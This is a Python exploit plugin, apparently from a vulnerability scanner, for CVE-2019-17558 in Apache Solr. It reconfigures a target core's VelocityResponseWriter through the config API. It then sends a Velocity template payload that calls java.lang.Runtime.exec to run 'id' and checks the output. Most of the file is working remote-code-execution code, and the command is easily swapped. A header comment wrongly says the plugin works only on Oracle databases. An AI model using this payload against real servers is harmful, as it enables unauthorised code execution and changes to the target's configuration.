#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
注意！只能对oracle数据库起作用
'''
__author__ = 'Ascotbe'
__times__ = '2019/10/13 22:12 PM'
import urllib.parse
import requests
import json
import ClassCongregation

class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2019-17558" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['createDate'] = "2020-1-3"  # 插件编辑时间
        self.info['disclosure']='2019-12-30'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "SolrVelocityTemplateRemoteCodeExecutionVulnerability"  # 插件名称
        self.info['name'] ='SolrVelocity模板远程代码执行漏洞' #漏洞名称
        self.info['affects'] = "Solr"  # 漏洞组件
        self.info['desc_content'] = "由于更新修复不完全，导致漏洞再次被利用"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "5.0.0 <= Apache Solr <= 8.3.1"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果

def UrlProcessing(url):
    if url.startswith("http"):#判断是否有http头，如果没有就在下面加入
        res = urllib.parse.urlparse(url)
    else:
        res = urllib.parse.urlparse('http://%s' % url)
    return res.scheme, res.hostname, res.port

payload1='''{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}'''

def medusa(Url,RandomAgent,ProxyIp):

    scheme, url, port = UrlProcessing(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        headers = {
            'User-Agent': RandomAgent,
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        }
        payload_url=scheme + "://" + url + ":" + str(port) +'/solr/admin/cores'
        step1 =requests.get(payload_url, timeout=6, headers = headers).text
        data = json.loads(step1)
        if 'status' in data:
            name = ''
            for x in data['status']:
                name = x
                print(name)
            payload = "/solr/"+name+"/config"
            payload2 = '/solr/' + name + '/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end'
            payload_url1 = scheme + "://" + url +":"+ str(port)+ payload
            payload_url2 = scheme + "://" + url + ":" + str(port) + payload2
            print(payload_url1)
            print(payload_url2)
            payload_data = """{
              "update-queryresponsewriter": {
                "startup": "lazy",
                "name": "velocity",
                "class": "solr.VelocityResponseWriter",
                "template.base.dir": "",
                "solr.resource.loader.enabled": "true",
                "params.resource.loader.enabled": "true"
              }
            }"""
            headers1 = {
                'User-Agent': RandomAgent,
                'Content-Type': 'application/json',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
                'Accept-Encoding': 'gzip, deflate',

            }
            resp = requests.post(payload_url1,data=payload_data,headers=headers1, timeout=6, verify=False)
            resp2 = requests.get(payload_url2, headers=headers, timeout=6, verify=False)
            con2 = resp2.text
            cod2=resp2.status_code
            if con2.find("uid=") != -1 and con2.find("groups=") != -1 and con2.find("gid=") != -1 and cod2==200:
                Medusa = "{} SolrVelocity模板远程代码执行漏洞\r\n验证数据:\r\nPayload:\r\n{}回显内容:{}\r\n\r\n".format(url,payload_url2,con2)
                _t=VulnerabilityInfo(Medusa)
                web=ClassCongregation.VulnerabilityDetails(_t.info)
                web.High() # serious表示严重，High表示高危，Intermediate表示中危，Low表示低危
                ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception:
        _ = VulnerabilityInfo('').info.get('algroup')
        _l = ClassCongregation.ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名


